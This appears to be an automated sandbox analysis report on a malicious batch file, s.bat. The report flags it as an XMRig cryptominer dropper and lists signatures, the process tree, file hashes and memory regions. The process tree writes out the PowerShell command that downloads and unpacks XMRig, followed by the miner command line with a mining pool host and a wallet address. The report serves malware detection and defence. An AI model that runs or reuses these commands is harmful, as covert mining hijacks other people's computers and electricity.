Analysis

  • max time kernel
    827s
  • max time network
    1156s
  • platform
    windows10-ltsc 2021_x64
  • resource
    win10ltsc2021-20241211-en
  • resource tags

    arch:x64arch:x86image:win10ltsc2021-20241211-enlocale:en-usos:windows10-ltsc 2021-x64system
  • submitted
    21-12-2024 15:09

General

  • Target

    s.bat

  • Size

    1KB

  • MD5

    ccc7afd46efac5aca2f96dc6c6d757b5

  • SHA1

    981911ae2cf8c85fd9bbb70ea938105617c2aefd

  • SHA256

    35347449c9856b13ee6f4131fc675270c55566881a19cc3d6bc5d2b0709412bb

  • SHA512

    1d336a5827812cd871bdb1459536c5052e4cc50bde82d3e5fd7e474a1488bf55a0763f1d2cac7f6569a2ac6334f066a465cb7b74e52ddbb2d23bd2a31e7b3563

Score
10/10

Malware Config

Signatures

  • XMRig Miner payload 2 IoCs
  • Xmrig family
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Powershell Invoke Web Request.

  • Executes dropped EXE 1 IoCs
  • Checks SCSI registry key(s) 3 TTPs 9 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 4 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 40 IoCs
  • Suspicious use of AdjustPrivilegeToken 19 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\s.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3828
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Invoke-WebRequest -Uri https://github.com/xmrig/xmrig/releases/download/v6.22.2/xmrig-6.22.2-msvc-win64.zip -OutFile C:\Users\Admin\AppData\Local\Temp\xmrig-6.22.2-msvc-win64.zip"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3492
    • C:\Windows\system32\timeout.exe
      timeout /t 10
      2⤵
      • Delays execution with timeout.exe
      PID:2780
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Expand-Archive -Path C:\Users\Admin\AppData\Local\Temp\xmrig-6.22.2-msvc-win64.zip -DestinationPath C:\Users\Admin\AppData\Local\Temp\xmrig"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:640
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c echo 31
      2⤵
        PID:680
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c echo 12
        2⤵
          PID:1764
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c echo 21
          2⤵
            PID:3984
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c echo 35
            2⤵
              PID:636
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c echo 35
              2⤵
                PID:4112
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c echo 4
                2⤵
                  PID:916
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c echo 6
                  2⤵
                    PID:3928
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c echo 0
                    2⤵
                      PID:5060
                    • C:\Users\Admin\AppData\Local\Temp\xmrig\xmrig-6.22.2\xmrig.exe
                      "C:\Users\Admin\AppData\Local\Temp\xmrig\xmrig-6.22.2\xmrig.exe" --donate-level 1 -o de.monero.herominers.com:1111 -u solo:46snjQGRP7EaVq5ByVkqeeQhDoNXfpLgeVUfyafhuoan4SdE6Sn3BVs4C4hykg6y3yWK5w1prCjx84nYs7egieBuAEG2YUX -p p1_ -a rx/0 -k
                      2⤵
                      • Executes dropped EXE
                      • Suspicious use of AdjustPrivilegeToken
                      • Suspicious use of FindShellTrayWindow
                      PID:3688
                  • C:\Windows\system32\taskmgr.exe
                    "C:\Windows\system32\taskmgr.exe" /4
                    1⤵
                    • Checks SCSI registry key(s)
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    • Suspicious use of FindShellTrayWindow
                    • Suspicious use of SendNotifyMessage
                    PID:4628
                  • C:\Windows\system32\taskmgr.exe
                    "C:\Windows\system32\taskmgr.exe" /4
                    1⤵
                    • Checks SCSI registry key(s)
                    • Checks processor information in registry
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    • Suspicious use of FindShellTrayWindow
                    • Suspicious use of SendNotifyMessage
                    PID:3252
                  • C:\Windows\system32\taskmgr.exe
                    "C:\Windows\system32\taskmgr.exe" /4
                    1⤵
                    • Checks SCSI registry key(s)
                    • Checks processor information in registry
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:4288

                  Network

                  MITRE ATT&CK Enterprise v15

                  Replay Monitor

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                  Downloads

                  • C:\Users\Admin\AppData\Local\D3DSCache\e8010882af4f153f\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.idx

                    Filesize

                    64KB

                    MD5

                    d2fb266b97caff2086bf0fa74eddb6b2

                    SHA1

                    2f0061ce9c51b5b4fbab76b37fc6a540be7f805d

                    SHA256

                    b09f68b61d9ff5a7c7c8b10eee9447d4813ee0e866346e629e788cd4adecb66a

                    SHA512

                    c3ba95a538c1d266beb83334af755c34ce642a4178ab0f2e5f7822fd6821d3b68862a8b58f167a9294e6d913b08c1054a69b5d7aec2efdb3cf9796ed84de21a8

                  • C:\Users\Admin\AppData\Local\D3DSCache\e8010882af4f153f\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.lock

                    Filesize

                    4B

                    MD5

                    f49655f856acb8884cc0ace29216f511

                    SHA1

                    cb0f1f87ec0455ec349aaa950c600475ac7b7b6b

                    SHA256

                    7852fce59c67ddf1d6b8b997eaa1adfac004a9f3a91c37295de9223674011fba

                    SHA512

                    599e93d25b174524495ed29653052b3590133096404873318f05fd68f4c9a5c9a3b30574551141fbb73d7329d6be342699a17f3ae84554bab784776dfda2d5f8

                  • C:\Users\Admin\AppData\Local\D3DSCache\e8010882af4f153f\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.val

                    Filesize

                    944B

                    MD5

                    6bd369f7c74a28194c991ed1404da30f

                    SHA1

                    0f8e3f8ab822c9374409fe399b6bfe5d68cbd643

                    SHA256

                    878947d0ec814fe7c343cdebc05eebf00eb14f3023bdb3809a559e17f399fe5d

                    SHA512

                    8fc5f073dc9fa1e1ae47c60a5f06e0a48709fd6a4302dffaa721858409e7bde64bc6856d3fb28891090516d1a7afc542579de287778b5755eafe75cc67d45d93

                  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

                    Filesize

                    2KB

                    MD5

                    ed30ca9187bf5593affb3dc9276309a6

                    SHA1

                    c63757897a6c43a44102b221fe8dc36355e99359

                    SHA256

                    81fc6cfe81caf86f84e1285cb854082ac5e127335b5946da154a73f7aa9c2122

                    SHA512

                    1df4f44b207bb30fecee119a2f7f7ab7a0a0aed4d58eeabbec5791d5a6d9443cccffa5479ad4da094e6b88c871720d2e4bcf14ebec45a587ee4ec5e572f37810

                  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                    Filesize

                    1KB

                    MD5

                    78153de63c467e206b9b565dadeccfe6

                    SHA1

                    29ba7d083efb8e7c215d09dddd937ed8292d3f59

                    SHA256

                    2cf859da0d2b6da20d4f3ce8c1d497ac9152c90b9640f92d033b0a679d2e3f93

                    SHA512

                    913622de8c0885996a75f640b6e38300a0ca88d34f176c9f61eb5feb5c5be3e03868d3fceeb8c46b253d2977a2d8898cc4b10042940844f1d0af8a65b82f1a94

                  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xjozbahu.pb5.ps1

                    Filesize

                    60B

                    MD5

                    d17fe0a3f47be24a6453e9ef58c94641

                    SHA1

                    6ab83620379fc69f80c0242105ddffd7d98d5d9d

                    SHA256

                    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                    SHA512

                    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.22.2-msvc-win64.zip

                    Filesize

                    2.5MB

                    MD5

                    57b7ab5bce7d5e47fd168e1f0d437d32

                    SHA1

                    050eeae3e0f0e876f9da175347b586871d14fe83

                    SHA256

                    1d903d39c7e4e1706c32c44721d6a6c851aa8c4c10df1479478ee93cd67301bc

                    SHA512

                    8cc6e3e0e78f706172a47bef261e1d73ce882ce531fe51177ba46cee659128e2115311d348ca07a717ff737e4bc802c7ca4cc57de716cbe55202b9482b5e2022

                  • C:\Users\Admin\AppData\Local\Temp\xmrig\xmrig-6.22.2\xmrig.exe

                    Filesize

                    6.1MB

                    MD5

                    f6d520ae125f03056c4646c508218d16

                    SHA1

                    f65e63d14dd57eadb262deaa2b1a8a965a2a962c

                    SHA256

                    d2fcf28897ddc2137141d838b734664ff7592e03fcd467a433a51cb4976b4fb1

                    SHA512

                    d1ec3da141ce504993a0cbf8ea4b719ffa40a2be4941c18ffc64ec3f71435f7bddadda6032ec0ae6cada66226ee39a2012079ed318df389c7c6584ad3e1c334d

                  • memory/640-57-0x00007FFC990A0000-0x00007FFC99B62000-memory.dmp

                    Filesize

                    10.8MB

                  • memory/640-28-0x00007FFC990A0000-0x00007FFC99B62000-memory.dmp

                    Filesize

                    10.8MB

                  • memory/640-34-0x0000019778230000-0x000001977823A000-memory.dmp

                    Filesize

                    40KB

                  • memory/640-30-0x00007FFC990A0000-0x00007FFC99B62000-memory.dmp

                    Filesize

                    10.8MB

                  • memory/640-31-0x00007FFC990A0000-0x00007FFC99B62000-memory.dmp

                    Filesize

                    10.8MB

                  • memory/640-32-0x00007FFC990A0000-0x00007FFC99B62000-memory.dmp

                    Filesize

                    10.8MB

                  • memory/640-33-0x0000019778250000-0x0000019778262000-memory.dmp

                    Filesize

                    72KB

                  • memory/3252-87-0x000001B12F070000-0x000001B12F071000-memory.dmp

                    Filesize

                    4KB

                  • memory/3252-84-0x000001B12F070000-0x000001B12F071000-memory.dmp

                    Filesize

                    4KB

                  • memory/3252-83-0x000001B12F070000-0x000001B12F071000-memory.dmp

                    Filesize

                    4KB

                  • memory/3252-82-0x000001B12F070000-0x000001B12F071000-memory.dmp

                    Filesize

                    4KB

                  • memory/3252-75-0x000001B12F070000-0x000001B12F071000-memory.dmp

                    Filesize

                    4KB

                  • memory/3252-77-0x000001B12F070000-0x000001B12F071000-memory.dmp

                    Filesize

                    4KB

                  • memory/3252-85-0x000001B12F070000-0x000001B12F071000-memory.dmp

                    Filesize

                    4KB

                  • memory/3252-86-0x000001B12F070000-0x000001B12F071000-memory.dmp

                    Filesize

                    4KB

                  • memory/3252-76-0x000001B12F070000-0x000001B12F071000-memory.dmp

                    Filesize

                    4KB

                  • memory/3492-11-0x00007FFC990A0000-0x00007FFC99B62000-memory.dmp

                    Filesize

                    10.8MB

                  • memory/3492-17-0x00007FFC990A0000-0x00007FFC99B62000-memory.dmp

                    Filesize

                    10.8MB

                  • memory/3492-10-0x00000122A09F0000-0x00000122A0A12000-memory.dmp

                    Filesize

                    136KB

                  • memory/3492-13-0x00007FFC990A0000-0x00007FFC99B62000-memory.dmp

                    Filesize

                    10.8MB

                  • memory/3492-12-0x00007FFC990A0000-0x00007FFC99B62000-memory.dmp

                    Filesize

                    10.8MB

                  • memory/3492-0-0x00007FFC990A3000-0x00007FFC990A5000-memory.dmp

                    Filesize

                    8KB

                  • memory/3688-61-0x000002442DED0000-0x000002442DEF0000-memory.dmp

                    Filesize

                    128KB

                  • memory/4628-71-0x00000210563D0000-0x00000210563D1000-memory.dmp

                    Filesize

                    4KB

                  • memory/4628-68-0x00000210563D0000-0x00000210563D1000-memory.dmp

                    Filesize

                    4KB

                  • memory/4628-69-0x00000210563D0000-0x00000210563D1000-memory.dmp

                    Filesize

                    4KB

                  • memory/4628-72-0x00000210563D0000-0x00000210563D1000-memory.dmp

                    Filesize

                    4KB

                  • memory/4628-73-0x00000210563D0000-0x00000210563D1000-memory.dmp

                    Filesize

                    4KB

                  • memory/4628-74-0x00000210563D0000-0x00000210563D1000-memory.dmp

                    Filesize

                    4KB

                  • memory/4628-70-0x00000210563D0000-0x00000210563D1000-memory.dmp

                    Filesize

                    4KB

                  • memory/4628-62-0x00000210563D0000-0x00000210563D1000-memory.dmp

                    Filesize

                    4KB

                  • memory/4628-64-0x00000210563D0000-0x00000210563D1000-memory.dmp

                    Filesize

                    4KB

                  • memory/4628-63-0x00000210563D0000-0x00000210563D1000-memory.dmp

                    Filesize

                    4KB